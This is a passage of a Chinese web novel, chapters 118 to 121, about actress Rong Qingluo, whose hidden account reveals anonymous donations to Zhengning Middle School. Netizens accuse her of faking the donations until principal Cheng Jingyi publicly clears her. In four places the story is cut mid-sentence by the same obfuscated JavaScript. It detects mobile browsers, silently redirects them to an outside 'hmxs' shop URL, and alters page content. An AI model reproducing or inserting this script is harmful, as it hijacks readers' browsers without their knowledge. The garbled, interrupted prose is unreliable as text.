『若你爱的月亮西沉，你会随之一起坠落吗？』 ——【第三卷完】—— 118. 一壶清酒 ——【卷四·春风】—— 『我掷千金，酬君一笑。』 // 骄阳似火，澄蓝的天上一丝云彩也无，炎炎炙烤着大地上的人和草木。 片场。 “咔。”导演拿着喇叭喊道，“非常好，清洛的状态很好，继续保持。” 容清洛穿着古装，衣袖飘飘。 候在一旁的助理汪汪连忙拿着太阳伞遮在容清洛头上，她面色颇为焦急，似是想说什么。 容清洛的眼神不轻不重地落在汪汪脸上。 汪汪瞥见旁边化妆师好奇的神色，闭上微张的嘴。 待化妆师为容清洛补完妆，恰好导演临时说要重新布景，容清洛带着汪汪走到一处人少的阴凉地，这才问道：“怎么了？” 汪汪心急如焚：“洛姐，你小号被人扒出来啦！” 容清洛拿着小风扇对着脸吹风，闻言慢条斯理道：“哦，我小号也没做什么伤天害理的事，扒了就扒了呗。” 说着她有些疑惑：“而且我的小号你和宫姐都知道，应该有些粉丝也知道，为什么着急忙慌成这样？” 汪汪拿出手机，在屏幕上轻点几下，翻出一个页面：“洛姐，不是你平常用的那个小号，是你的小小号，叫‘熠熠寒夜灯’的这个。” 容清洛眼神瞥到社交软件界面，心里一跳。 她接过手机，按住隐隐作痛的太阳穴，往下翻评论。 「跟着热搜来的，这真是容清洛小号？我怎么没看出来？」 「同问，这个号的关注列表没有一个人，翻了这两年发的动态也都是图片……到底怎么扒出来的呀，球球知道的姐妹告诉我！抓耳挠腮中。」 容清洛的粉丝叫“洛河”，已经纷纷在楼下做起科普。 「楼上的姐妹，容容有个小号叫“磊磊沧浪石”，很多洛河都知道。今天上午磊磊沧浪石给熠熠寒夜灯的新动态点了个赞，大家就是顺着这个扒过来的」 「还是没懂哇姐妹，这也有可能是容清洛的某个朋友呀？而且看起来还像个情侣名呢」 「姐妹你把这个号发的每条内容都看一遍就不会这么说了」 「啊啊啊啊！看完所有动态的人在此，熠熠寒夜灯这个号比磊磊沧浪石还早啊竟然！最早都到十年前了，前几楼的姐妹你往前翻啊！最早的都是些文字内容，有很多姐的感悟，对照着姐的经历看，很容易能看出来！」 「没想到容容还是个哲学家，不过这个小号藏得也真是深啊」 「没有任何关注，没有任何互动，当然没人注意到啊！！」 「今早姐点赞是手滑了吧，后面立马就取消了」 「看完了，泪目呜呜呜！粉了姐多年，姐姐加油，我永远是姐洛河里的鱼！」 容清洛终于明白“熠熠寒夜灯”这个几乎没有任何人知道的小小号为什么会被扒出来了。 她有一个专门的旧手机，用来登录“熠熠寒夜灯”。 这个旧手机她都放在家里，来剧组拍戏或者到各地工作时都不会携带，按道理不会被人发现。 只是今天拍的这场戏中，她饰演的这个角色需要很浓重的绝望情绪。 这种情绪曾经伴随她很多年，但现在她却有点演不出来。 拍了几遍导演都不是很满意，引导她道：“清洛，你有没有一看见就想要落泪的文字，去找那些让你能感受到绝望的文字去读，再找找感觉。” 所以上午她登上“磊磊沧浪石”这个小号，搜索自己“熠熠寒夜灯”小小号上的内容，借此让自己沉浸入导演需要的那种情绪当中。 她已经很小心了，甚至都没有用这个手机登录“熠熠寒夜灯”。 没想到因为误触点赞而功亏一篑。 容清洛有些哭笑不得。 不过她这个小小号倒也没有什么见不得光的内容。 不想让人知道，只是因为人总得有一块自留地。 在某些时刻，她希望能有一个地方，存放自己无人诉说的心情。 容清洛继续翻看评论。 「发现姐这个号这几年发动态也很少了，基本上大半年才一条，而且还都是一个主题，每一条都是“回执”两个字和一张配图。在上班，摸鱼不敢太细看，哪个姐妹能简单告诉我这些内容到底是什么意思啊！」 「我每张图都仔细读了，图上是某个学校给姐的感谢信，感谢姐给学校捐款，并且说了打算怎么用这些钱。」 「补充一点：图上虽然落款被抹掉了，但是能看到日期。每张图上信的内容和日期都不一样，字迹却是一样的，好像是同一个人写的。看样子，姐给这个学校陆陆续续分批捐款得有快三年了。」 「容容真是人美心善，而且做好事不留名，这小号要是不爆出来，谁会知道容容还给贫困山区学校捐过款。」 「你怎么知道这不是炒作呢？容清洛要是真低调，这个号就不可能被扒出来。」 「楼上+1。终于看到和我想的一样的人了。算起来，容清洛得有五六个月没出新作品了吧，热度有所降低。她是在靠这个小号增添热度，博得一个捐款的爱心美名，掀起点儿水花，为之后捞钱造势吧。」 「望周知，我姐在拍李导的新戏《暗光》，李导都有哪些作品大家心里都有数，这是可以冲奖的作品好吗？某些人正主不行，不要酸别人。」 「谁知道容清洛是真捐还是假捐？把捐款证明放出来，不然就是诈捐！」 「那个信纸最下面印的有地址，是西华市古泉县青山镇。可能就是那儿的学校，可以去打听一下，真假自会见分晓。」 「是我大西南地区！感谢容容！」 「我就是青山镇的人，没听说容清洛给我们这的学校捐款呀？」 「没有证据就是诈捐，热搜挂这么久了也不见正主来辟谣，是因为无法否认吧。故意曝光小号就是为了增添热度，容清洛怕是有新戏要上了吧？」 「谁会从三年前就开始布局这一出啊……三年前我姐还没转型做演员，那会儿她可还是顶流爱豆啊，哪有时间和功夫编这种谎话？这年头真是什么人都有，自己心黑就把别人想得和你一样……」 下面的评论区已经乱作一团，容清洛把手机还给汪汪。 汪汪在一旁忧心忡忡地补充道：“评论区一开始氛围还挺好的，都是粉丝发现姐的小小号后开心地在考古。但是热度上来后就有人开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578069|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质疑姐你诈捐，因为查不到你捐款的凭证。” 容清洛挑眉：“这还能查？这些人怎么查的，这么快？” 汪汪点头：“因为姐拍的图片有一张露出了最下面印在信纸上的地址，有人按照西华市古泉县青山镇这个线索，打电话到那边的教育局询问，回复是没有叫容清洛的人给镇上的学校捐过款。” 容清洛沉吟。 汪汪观察容清洛的神色，小心翼翼道：“洛姐，你捐款这件事宫姐也说不知道，她让我跟姐你确认一下，这件事是否属实？” 虽然跟在容清洛身边做助理已有两年，但她时不时还是会被面无表情的洛姐给震慑住。 容清洛点头：“有这个事，我不仅给这个学校捐了款，还连续捐了三年。” 汪汪松一口气，兴奋道：“我赶紧给宫姐回复。宫姐说如果这件事是真的，就很好解决，可以联系那个学校辟谣。捐款这是很好的事情，正好趁势给姐你好好宣传一波。” 容清洛抬手按住汪汪在手机屏幕上按得飞快的手指，说道：“可我是匿名捐的，那个学校没人知道是我捐的款。” 汪汪怔住：“什么意思？那这事总有经办人吧？姐你捐这么多次钱，不可能没人见过你吧？” 这时，一只乌鸦从树梢飞过，发出嘎嘎的鸣声，音色如此斑驳，让人闻之心颤。 容清洛淡笑：“鸟飞过天空，也了无痕迹，更何况凡人在陆地上行走。这个世上人多如蝼蚁，想留下印迹，也不太容易。” 也许有些事情做了，真的就只有天知，地知，自己知。 所以善恶难分，人心难辨。 容清洛有些烦躁。 汪汪的电话这时响起，是宫姐。 她求助地看向容清洛，容清洛接过电话：“我来和宫姐说吧。” “喂，宫姐，是我。” 陈宫的声音并不火急火燎，还算沉稳：“清洛，汪汪说你虽然确实捐过钱，但都是匿名捐款？没人知道是你捐的钱吗？” 容清洛无奈：“是匿名，不过我委托了一个朋友全程帮我办的这件事。” 陈宫：“那可以找你这位朋友证明吗？” 容清洛有些犹豫：“实话实说，我之所以匿名，原因就是不想主动告诉对方是我在捐款。宫姐，如果你可以把舆论压下去或者引导到别的事情上，我并不想让人们过多的关注到我捐款这件事情。” 陈宫不解：“那人家怎么给你写的感谢信？你还每一封都拍照留存，发出来纪念？” 容清洛轻叹：“那信是那个学校的校长托经办人转交给我的。人家不知道我是谁，甚至连我是男是女都不知道，所以每封感谢信的开头都写的是‘好心人’，而不是‘容女士’。” 至于为什么要拍照发到小号上。 容清洛微微抬眼望向远方。 她只是想纪念一下自己曾经失之交臂的梦想。 那条她因为命运的玩笑而没有走上的路，她想看看，替她走上的那个人，走得如何。 仅此而已。 这也算是她如今还能勉强微笑着活下去的一个锚点吧。 没事的时候看一下，活下去都更有动力了呢。 119. 一壶清酒 陈宫没料到会得到这样一番回答：“这样啊。” “可是清洛，你想好了吗？如果不把真相告诉公众，不为你自己澄清和辩护，网友的反应很难说，你要做好最坏的打算。现在这个年代，一人一口唾沫，也能把人淹没。” 容清洛思量一番，还是坚持道：“宫姐，控评的时候主要往回顾我过去十年的娱乐圈打拼生涯这方面引，尽量把捐款这个事压下去，好好安抚一下粉丝，也不要让粉丝去打扰人家学校。最近太忙了，等忙完这阵子，我给洛河们发福利。” 陈宫在电话那头还准备再劝劝容清洛，这时有工作人员跑过来道：“容老师，布景已经改好了，导演喊您继续去拍。” 容清洛点头：“好的，我马上来，你先过去吧。” 那人便先离开。 陈宫听到片场的声音，思考片刻后，还是选择尊重容清洛本人的想法，她说道：“清洛你安心拍戏吧。” “你如果没有诈捐，真的也假不了。别人泼的脏水再多，假的也真不了。虽然三人成虎，但这些舆论都是浮云。你在转型，还是靠作品说话。你只要自己稳得住，剩下的就交给我。” 容清洛感到心里涌入一股暖流，她一边往回走一边对着电话道：“宫姐，谢谢你能理解我。” 陈宫感慨：“咱们这么多年的交情，还客气什么。我知道你容清洛是什么人。你就好好拍戏，回头拿个视后和影后回来，也让我跟着扬眉吐气。” 容清洛笑：“行，为了陈大经纪人，小的我努力。” *** 接下来几天，容清洛并没有把这件事情太放在心上，而是专心致志地在李导的剧组里拍戏。 毕竟，流量爱豆出身的她，出道十年里，什么腥风血雨没见过，如今被骂几句甚至不会让她有任何情绪波动。 本以为这件事情就此告一段落。 没成想，容清洛这一方对捐款的讳莫如深却让网上的舆论愈演愈烈。 甚至有粉丝跑到容清洛社交账号下留言。 「虽然姐这十年的娱乐圈之路很艰难，我也没后悔成为洛河，但是真的还是很想知道真相，姐，捐款到底怎么回事？」 「姐，我们都相信你，你说句话呀！」 许多黑粉也趁虚而入，在其中煽风点火。 「就是诈捐吧，不然为什么容清洛的公司会毫无动静，一点也不做澄清。」 「狗公司，毫无作为！抱走我姐呜呜」 「陈宫呢？她不是一直很护着容容吗？这回怎么一点话也不说……」 「姐不会真的诈捐吧？」 「楼上的，你是假粉吧！洛河都了解容容，永远支持容容！」 「纯路人，流量粉丝太可怕了，为了所谓的偶像，对事实都可以视而不见……」 「楼上的，什么是事实？你说的话就一定是事实吗？你所认为的观点就一定是真相吗？你难道是造物主吗？你也未免太高看自己，太自以为是了吧！耳听不一定为实，眼见也不一定为真。没有证据不要瞎说话、乱造谣！」 容清洛可以不顾及自己，但是看着这么多为自己辩护的粉丝，她心中还是有些动摇。 这天晚上收工时已经是凌晨，容清洛回到酒店迅速洗漱。 她本打算倒头就睡，眼睛都已经合上，却突然想起汪汪发给她的那些评论截图。 容清洛轻揉眉心，强撑着坐起来。 沉吟良久，她给手机通讯录里的一个人发去信息。 那边很快给出回复：“哪用你开口，早有行动，等我好消息。” 容清洛轻笑，果然焕焕这个夜猫子还没休息。 了却一桩心事，容清洛这才放心躺下。 *** 第二日。 在西南方向的千里之外，青山镇坐落于连绵的群山丘陵之间。 镇上的大多数建筑瞧上去都颇有些年头，带着满满的年代感。 整个镇子上，为数不多还算现代化的建筑中，正宁中学算是其中一个。 此时，一辆出租车堪堪停在正宁中学门口，司机大叔扭过头，大着嗓门对坐在后排的年轻女子说道：“女娃儿，这就是正宁中学。” 这女子瞧着青春靓丽，正是容清洛的好友吴焕晗。 吴焕晗扫码付钱后，司机打开后备箱帮她把行李拿下来。 校门口，乳白色的石门高大巍峨，颇有气势，正中央挂着一块黑色匾额，上面书写着烫金的四个大字——正宁中学。 吴焕晗仰头仔细看那几个笔走龙蛇的字，感慨道：“这学校还真是越建越气派。” 司机大叔把行李箱推到她脚边，听到这话，自豪道：“那是，我家老大和老二都在这儿读的高中，这可是我们镇上最好的学校。” “你要是几年前来，正宁中学可还没这么漂亮。也就是这几年，学校利用假期，陆陆续续对教学楼、食堂、学生宿舍进行翻修，还加盖实验楼、图书馆、体育馆等等设施。” “我今年送我家老二进校园，和五六年前送老大来的时候，那感觉，可真是不一样。以前的校园只能说不算破旧，但跟现在完全不是一个档次。我给娃儿送饭的时候进去逛过几回，建得真是既崭新又庄严，看着有市里学府的感觉了。” 吴焕晗笑笑，没有解释自己来过这里很多回。 想到最近网上闹得沸沸扬扬的事，她顺着司机大叔的话赞道：“确实难得，在青山镇算很不一样的存在了。” 接着她话锋一转，装作好奇地问道：“不过学校哪儿来的钱修这些呀？” 司机大叔有问必答：“听说是有人给正宁中学捐款。” 看来知道捐款这事的人还不少。 吴焕晗又问：“是谁这么大手笔，修学校得花不少钱吧。” 司机大叔挠挠头，不好意思道：“具体是谁捐的我可不清楚。不过又是翻修旧楼，又是盖新建筑，这人捐的钱肯定不是小数目，多半是成功人士回馈社会吧。” “这样的好人，肯定得上天保佑……”司机大叔还准备再说几句，刚好有路人要打车，他只好截断话头，跟吴焕晗告别，“女娃儿，你要找人就去门卫那问问，这会儿是高峰，打车的人多，我就先走了。” 吴焕晗点头，目送这好客的司机大叔开着车离开后，她打开手机，发出一段信息。 “程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580952|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校长，我已到学校，在大门口等您。” 那边很快拨来一个电话，对面男子的声音斯文有礼，带着些许威严。 “吴老师，请稍等片刻，我在办公室，马上来接你。吴老师舟车劳顿，可以先在门卫室休息一下。” 吴焕晗一路都是坐着过来，不想再坐下，把行李箱放在门卫那儿后，便站在校门外观察街道。 学校对面有很多小店，卖书的，卖文具的，卖点心的，都是学生喜欢光顾的地方。 吴焕晗过马路到对面，在路边买了两份烤冷面，回到门卫室的时候迎面恰好有一人从学校里出来。 那人步履匆匆、大步流星，鼻子上架着一副复古黑色圆框眼镜，白衬衣外罩着灰色格纹双排扣马甲。 不算很贵的行头，让他穿着，却是格外的清贵儒雅，瞧着颇有君子之风。 吴焕晗招手：“程校长。” 程景逸面上带着温文尔雅的笑意，温和道：“吴老师，我代表校方欢迎你正式成为正宁中学教师团队的一员。” 吴焕晗把一份烤冷面递到程景逸面前：“谢谢程校长。你吃饭了吗？我刚刚在学校对面买的，看着味道很不错，好多学生买呢。” 门卫把吴焕晗的行李箱推出来，程景逸顺手拿过箱子，没有接烤冷面，笑道：“是我考虑不周，吴老师还没吃饭呢吧。我先带你到学校给你安排的住所，之后领你在这附近转转。学校附近有很多好吃的小店，不熟悉的人一般可找不到。” 吴焕晗将端着烤冷面的手收回，倒也不觉得不好意思。 她跟在程景逸身后，两人没有走进校园，而是往校园南侧走去。 程景逸指着南侧那边的居民楼介绍道：“那边是学校的家属院，我们学校的很多老师都住在那里。我们给你安排的是一套采光很好的房子。” 吴焕晗：“程校长费心了。” “其实之前听刘主任提过，正宁这几年大力引进人才，家属院房源本就有限，今年可能没办法给我分配房子。” “这附近住的都是学生，一时还挺难找到合适的住所，我本来正为租房子发愁呢。” “程校长的安排真是及时雨，大恩不言谢，今天太晚了，改天我请您吃饭。” 程景逸道：“力求做好生活保障，务必把每个人才留住，这是我的职责所在，吴老师不必客气。你认真把每一个学生都教好，给他们一个更好的未来，就算是对我最大的感激。” 吴焕晗颔首：“对待学生，我当然是尽心尽力。” 程景逸：“吴老师是很有经验的老师，之前一直邀请你来我们学校，吴老师一直在考虑，前几天突然和我说愿意来正宁，实在是意外之喜。” 吴焕晗笑道：“这几年我接二连三地来了正宁好多趟，一点点看着学校越建越好，打心眼里很喜欢这里。” 程景逸感慨：“是呀，认识吴老师也有三年了吧。正宁的校园如今这般美丽，其中少不了吴老师的功劳。” 说到这里，程景逸一顿：“只是，一直无缘见到捐款的那位好心人，我们连其姓甚名谁都不知道，这感激之情实在是无法表达。吴老师你一定要代我们转达感谢。” 120. 一壶清酒 吴焕晗不知想到什么，笑容里多出几分促狭和调侃。 程景逸有些莫名。 吴焕晗道：“程校长放心，您这么多封亲笔感谢信我都已经代为转呈，您的感激之情想必她已经收到。” 程景逸：“要是有什么是我们可以为这位好心人做的，吴老师你一定要和我说，校方这边一定赴汤蹈火在所不辞。” 吴焕晗：“真的吗？” 程景逸心里生出一些不好的预感，问道：“难道好心人遇到什么事了吗？有什么是我们能出力的？” 吴焕晗收敛笑容，定定盯着程景逸，目光里带着审视。 程景逸没有退缩，仍旧一派不疾不徐、从容不迫的模样。 片刻后，吴焕晗一字一句道：“程校长，这个好心人此时遇到一个比较棘手的事情，需要程校长代表学校澄清一些事情，你愿意吗？” 程景逸的回答掷地有声，毫不犹疑：“我当然义不容辞。” *** 又过了几日，这天下午，容清洛正在拍戏，中场休息时，她坐在靠椅上背下一场的台词。 汪汪抱着手机刷网友的评论，这几天她一直在实时向容清洛播报舆论风向。 “洛姐，我看到有一个博主发了一篇博文，我念给你听啊。” 「其实容清洛从未在公众场合说过她在给贫困山区学校捐款，她的小号熠熠寒夜灯也是意外被爆出来，那些图片里提到的捐款无论真假都是容清洛的私事，其实无可指摘。但是容清洛作为一个公众人物，接受了公众的仰望目光，多少还是应该负起肩上的社会责任，最好还是应该给公众一个交代。」 念完，汪汪补充道：“洛姐，这个人还有挺多粉丝的，下面好多人觉得他说的有道理。” 容清洛点头：“我知道了。” 她其实很早就学会不要对外界抱有太多期待，所以无论外界说什么，对她影响都不大。 曾经，那些污蔑、那些中伤、那些流言，每一句都像暗箭刺向她的心窝。 她就像一只刺猬，但这些刺不是她自己长的，而是别人一支箭、一支箭扎进她的血肉才形成的。 可如今时移世易，以她现在的屏蔽能力，这些她都可以完全忽略过去。 只是，这个博主说的也没错，即便她问心无愧，她作为公众人物，享受粉丝追捧的同时，也应该注意对社会造成的影响。 她虽然没有做不对的事情，但是人们并不知道真相。 她应该对公众，尤其是对粉丝，有个交代。 这一点她已经考虑到。 也正是因为这个原因，她才在几天前联系了焕焕。 吴焕晗就是她委托帮她办理捐款事宜的朋友。 算一算时间，这几天，正宁中学那边应该就会做出回应。 “哇！”坐在容清洛身侧的汪汪不知在手机上看见了什么，她低呼一声。 发现旁边有工作人员在看自己，汪汪连忙捂住嘴，不好意思地冲对方笑笑。 轻拉容清洛的衣服，汪汪两眼放光道：“洛姐，你快看，快看这个视频！” 容清洛接过手机，点开视频。 视频的开头是一段航拍。 苍莽的青山，欠发达的小镇，窗明几净、设备完善的校园，身穿校服、风华正茂的学生。 容清洛眼神微凝，她一眼就认出这是哪里。 她虽从未真正踏足过那片土地，但曾在那人托焕焕转交的成果资料中无数次见过那里的风景。 那是青山镇的正宁中学。 预感到接下来会出现什么，容清洛忍不住用手捂住眼睛。 她竟然不敢看。 近乡情怯。 在各种舞台都毫不怯场的她，竟然一时之间有些不敢去看故人。 哪怕隔着电子屏幕。 汪汪注意到容清洛的动作，紧张道：“洛姐，你眼睛不舒服吗？我给你拿眼药水。”说着她便在包里翻找。 容清洛把手放下来：“没事，刚刚眼睛有点痒，现在好了。” 汪汪这才放心，对容清洛挤眉弄眼道：“那洛姐你接着看，后面有惊喜！帅哥，特别帅的那种！” 容清洛抿嘴。 “哦对了，洛姐，我把耳机给你。”说着，汪汪把戴在自己头上的耳机摘下给容清洛戴上。 视频在继续播放。 画面从正宁中学门前的匾额一路向前，经过操场，经过教学楼，最后抵达一间办公室的门口。 镜头继续推进，定格在办公室里的书桌前，书桌后坐着一个穿着正装的年轻男人，他戴着一副眼镜，唇边一抹微笑，文雅风流，不外如是。 容清洛捏着手机壳的边框，紧张溢于言表。 真的是他。 画面中的男人对着镜头招手，然后开口道：“大家好，我是西华市古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581393|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泉县青山镇正宁中学的校长程景逸。” “我谨代表我们学校，针对近日网络上有关容清洛小姐捐款的谣言做一些澄清。” “容清洛小姐从三年前起，每学期都以匿名的方式为正宁中学捐款，至今已有六个学期。” “校方一直对接的吴焕晗女士，受容清洛小姐的委托，代其承办捐款事宜。视频右边是青山镇政府为吴焕晗女士捐款开具的捐赠票据，以及容清洛小姐为吴焕晗女士提供捐助款额的转账记录。” “容清洛小姐为正宁中学的捐款数额巨大，使得正宁中学在三年间焕然一新。在容清洛小姐捐款的支持下，我校三年来利用节假日陆续对教学楼、学生公寓、学生食堂、室外运动场等进行了翻修，并且新建了图书馆、体育馆、实验楼，完善了多媒体教室、微机室等配套教育教学设施。学生的学习环境获得显著提升。” “容清洛小姐为我校的发展做出了巨大贡献。但是实际上，在这次热搜事件以前，我校师生都对捐款人的姓名毫不知晓。吴焕晗女士秉承容清洛小姐的意愿，一直未曾透露匿名捐款人的姓名，只告知我们是受人所托经办捐款事宜。” “容清洛小姐的工作特殊，社会影响力很大。前几天程某意外看见容小姐被人们议论的社交媒体小号，发现出现在容小姐所发图片中的那些感谢信，正是程某这三年来写给资助正宁中学重建的那位不知名好心人的。承载了我校师生感激的这些感谢信最终都通过吴焕晗女士转达给了容清洛小姐。” “容小姐处在舆论中心，即便被世人误解诈捐和炒作，仍然泰然处之，并未将自己做的善行善举到处宣扬，实在是我辈楷模，让程某十分敬佩。” “我校在与吴焕晗女士取得联系、并经过调查知道事情原委后，不忍也不能，让正宁中学的恩人继续被大家误解，特此为容清洛小姐赶制澄清视频。” “程某在这里，代表正宁中学全体师生向容清洛小姐道一声感谢，希望有机会，容小姐亲自来青山镇参观我校的校园重建成果。” 视频结束，画面定格在程景逸坐在办公桌后的场景。 男人气场强大，语言温和、笃定而有力量，说出的话让人不由信服。 容清洛就这样通过视频凝视着程景逸镜片后的双眼。 真诚且笃定。 自信不张扬。 这就是程校长啊。 好久不见，别来无恙。 121. 一壶清酒 发布这个视频的是青山镇正宁中学的官方账号。 容清洛看完视频退出来，往下滑动，却发现这个账号只有这一条内容。 是新注册的账号？ 不会是为了给她澄清才专门注册的吧？ 容清洛这样猜测后，又摇摇头。 虽然她有很多粉丝，但是也不该这样以自我为中心。 容清洛又点进视频内容，刷起网友的评论。 「这个小哥哥好帅！」 「啊啊啊是程校长耶！」 「没想到吃瓜吃到自家，这是我们程校长！竟然有一天会在娱乐圈超话里看见程校长的身影，诡异但是又透露着和谐，毕竟是我们美人校长！感谢容清洛姐姐的捐款！我宣布，从此我们班都是容清洛的粉丝！」 「洛河哭了，姐姐我们为你骄傲呜呜呜」 「洛河谢谢程校长为我姐澄清！再夸一句你好帅！」 「纯路人，容我小小的磕个CP，校长先生和顶流小姐真的很配！」 「楼上磕的是什么邪门CP，看视频感觉俩人都还没见过面，估计都没正式认识过。这个校长之所以发这个澄清视频，应该也是为了公义，毕竟收了容清洛那么多捐款，总不能看着人家被泼脏水吧……」 「楼上的姐妹，就是这样才好磕哇！素昧平生的两个人，一个为了公益事业仗义疏财却不求名利，一个为了正义和良知挺身而出英雄救美，我已经脑补了一出大戏！」 「容清洛，程景逸，他俩名字也好配，我已经连他们的CP名字都想好啦，就叫“澄清夫妇”！」 「前几楼的姐妹们，你们可真是什么CP都能磕下……好了我不装了，澄清夫妇的CP粉算我一个！」 「别的不说，光论颜值他们也很配啊啊啊啊！」 「楼上的姐妹，程校长英俊潇洒、年轻有为，容顶流人美心善、事业有成，俩人简直从颜值到职业、再到名字，全方位都很配呀！」 「容清洛的路人粉，她的演技虽然一般，但是真的很喜欢她唱的歌和表演的舞台。她是真的挺有音乐天赋的，而且她是难得的多年兢兢业业没有绯闻的女爱豆，很多舞台都很出圈，让路人很有好感。歪个楼，希望善良的美女多多营业，跪求多出歌，多出舞台！自从美女转型当演员后，内娱已经很久没有看到大火出圈的舞台了呜呜呜」 「说起来，容清洛早些年总被人诟病的，也就是性格太冷，总是冷脸，话也不多。但是对比她那些塌房的同事们，她真的没什么黑料哇，最多就是偏内向，说话比较直接，但是人品没问题啊。现实生活中你难道就没有不善言辞的i人朋友吗？她们难道不可爱吗？千人千面好不啊！而且容清洛她捐款做慈善还是匿名，没想到她竟然是个面冷心热的人！」 「呜呜呜谁还记得当年我们小糊团glory组合的门面级主唱清洛大人！」 「楼上的姐妹，我我我！我记得！姐姐要是刷到我们的评论，看看孩子吧！想看姐姐出新舞台！以前的舞台视频都快被盘包浆了啊啊啊！」 「容清洛唱歌是真好听，还是有两把刷子，不是纯花瓶。」 「楼上的，我就当你是在夸我姐人美歌好吧……唉，姐真的好久都没有开演唱会了，上次开演唱会还是上次！」 「上班摸鱼，听小姐妹说捐款事件有后续，赶紧爬上网看一看。只能说，这么多年，任圈内同事沉沉浮浮，我姐的正义地位从未被动摇。在知道姐竟然是匿名捐款资助祖国教育事业后，容姐在我心中的形象变得更高大了！塌房这么多次，我终于粉对人了！」 「呜呜呜楼上的姐妹我有同感，洛河没粉错人！每次我坚持不住的时候就会看容姐以前的采访和舞台。她在台下总是那么的寡言少语，可站在舞台前，站在镁光灯下，却又是那么的坚强和闪耀！容姐总是给我动力！」 「容姐威武！」 「路人，不喜欢粉圈，但是有一说一，容清洛这事干得漂亮，以后有机会要支持一下她的作品」 「路人朋友们，跳进洛河吧，入股不亏！」 容清洛万万没想到，在正宁中学官方账号的澄清视频下方，竟然看到这么多拉郎配的CP粉，以及自家洛河那快溢出屏幕的彩虹屁。 这些评论程景逸也会看到的吧？ 粉丝行为，偶像买单，希望他不会因此对现在的她印象不好。 汪汪刚刚出去接了个电话，回来发现视频已经播放完毕，凑过来道：“怎么样洛姐，看完有什么感想？” 容清洛总结道：“沉冤得雪，洛河们很高兴。” “宫姐也很高兴。”汪汪纳闷道，“就是宫姐刚刚说，不是她这边联系的学校。那正宁中学怎么知道洛姐你的事情，还专门为姐你澄清？” 她转念一想，又释然道：“不过洛姐你可是顶流！前段时间这个话题讨论度多高呀，天天挂热搜上，也就是姐你头铁硬刚，死撑着不回应。正宁中学那么多人，总会有人上网的吧。发现匿名捐款人是你，一点也不奇怪。只能说，做好事真的会有好报！” 容清洛本想解释一下，但是见汪汪很快又转移注意力到视频上，开始欣赏程景逸的美貌，她便只好闭嘴，没有多说。 这真是个美丽的误会。 如果她真的有那个好运，每每有人从天而降救她于水火就好了。 可惜，她所拥有的一切，都是需要自己费心筹谋、努力争取的。 汪汪星星眼：“洛姐，这个程校长是不是器宇不凡、玉树临风？” “最重要的是，他这是在还姐清白啊。刚刚宫姐给我打电话，让姐你安心拍戏，现在网上的舆论已经都转向积极的方向，之前想解约的几个品牌也都不再提了，甚至还有新的品牌方找上门谈合作。” 容清洛点头，这些她在刚刚看评论区的时候都已经猜到。 这时，容清洛的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581394|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机突然响了几下。 汪汪接过自己的手机和耳机，从包里拿出容清洛的手机递给她。 是吴焕晗的消息。 吴老师：「怎么样？」 吴老师：「阵仗够大吧？」 吴老师：「满意吗？」 接着发过来一个程景逸澄清的视频链接。 容清洛轻笑着回复。 洛河头子：「特别满意！」 洛河头子：「焕焕威武！」 对面扔过来一连串的表情包。 吴老师：「洛洛，这些年其实我一直没弄明白你是怎么想的，可能连你自己也不清楚自己的心吧。」 吴老师：「你还想着晏先生吗？」 吴老师：「可他也许已经死了。」 猛地看见“晏先生”这三个字，容清洛心神大震，眼泪倏地就无声滴落，毫无征兆。 泪水洒在手背上，容清洛才陡然一惊。 她连忙止住情绪，趁众人没注意到这边，用纸巾将眼里的泪珠擦掉。 吴老师：「但程景逸就在眼前。」 吴老师：「他可是邀请你到学校视察成果哦。」 吴老师：「给自己一个机会吧。」 吴老师：「哪怕就是老友重逢呢？」 吴老师：「你来见见他。」 容清洛知道吴焕晗的良苦用心。 毕竟，容清洛年少时曾经真的很喜欢程景逸。 洛河头子：「焕焕，谢谢你这么关心我。」 洛河头子：「但我有喜欢的人了。」 洛河头子：「不管多久，我都会等他。」 至于程景逸…… 容清洛满脸纠结地打字。 